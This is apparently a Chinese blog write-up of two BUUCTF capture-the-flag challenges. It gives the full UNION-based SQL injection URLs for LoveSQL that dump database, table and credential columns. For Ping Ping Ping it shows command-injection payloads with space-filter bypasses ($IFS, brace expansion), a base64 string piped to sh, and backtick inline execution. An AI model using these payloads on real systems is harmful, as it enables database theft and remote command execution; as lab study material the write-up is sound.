[极客大挑战 2019]LoveSQL
同样的背景,同样的SQL注入。尝试用admin' or '1'='1
和password' or '1'='1
登录一下。有回显,但是这一长串应该不是flag。
那就是有回显的sql注入了,但是直接在登录框里注入好像是不行的,得用hackbar在URL里注入。
先查字段数,payload为http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'order by 4%23&password=1
和http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'order by 3%23&password=1
(%23换成#也可以)
3不报错4报错,说明字段数为3
接着查看回显点,http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1’union select 1,2,4%23&password=1
接下来就是按部就班查看数据库,表明,列名,依次使用下列payload
http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,(select database())%23&password=1
数据库名称是geek
http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(schema_name) from information_schema.schemata%23&password=1
schema分别有information_schema,mysql,performance_schema,test,geek
http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1
表名有两个:geekuser,l0ve1ysq1
http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1
查一下这两个的列名,都是id,username,password
http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
最后这两个表都查看一下,发现flag在l0ve1ysq1这个表里
今天还有时间,就再做一道
[GXYCTF2019]Ping Ping Ping
点开页面只有一个/?ip=
,应该是提示我们在URL后面加上这个就可以ping网址了。当然我们不可能只ping,尝试/?ip=123;ls
,发现有两个文件,一个flag.php,一个index.php
再/?ip=123;cat flag.php
,发现空格被过滤,这个错误提示也是很大气
在网上查了一下可以用这些方法绕过空格过滤
$IFS
${IFS}
$IFS$1 //1改成1改成1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
在这道题里
/?ip=123;cat$IFSflag.php
发现flag也被过滤了,好家伙。那就http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;cat$IFS$1index.php
看另一个文件index.php
发现括号,空格,bash,flag都被过滤了,到这里已经超出我的能力范围了,上网找答案。解决方案有3种(要查看源代码才能看到flag):
1.给代码里的变量a赋值然后拼接语句
http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;a=lag;cat$IFS$1f$a.php
但是a不能赋值成flag不然还是会被过滤
2.base64编码
http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64编码,用base64 -d命令执行
3.内联绕过
view-source:http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;cat$IFS$1`ls`
反单引号里面的内容会优先执行,然后把命令的输出作为输入执行。ls命令输出的结果是flag.php和index.php,因此就直接查看了这两个文件夹里的内容。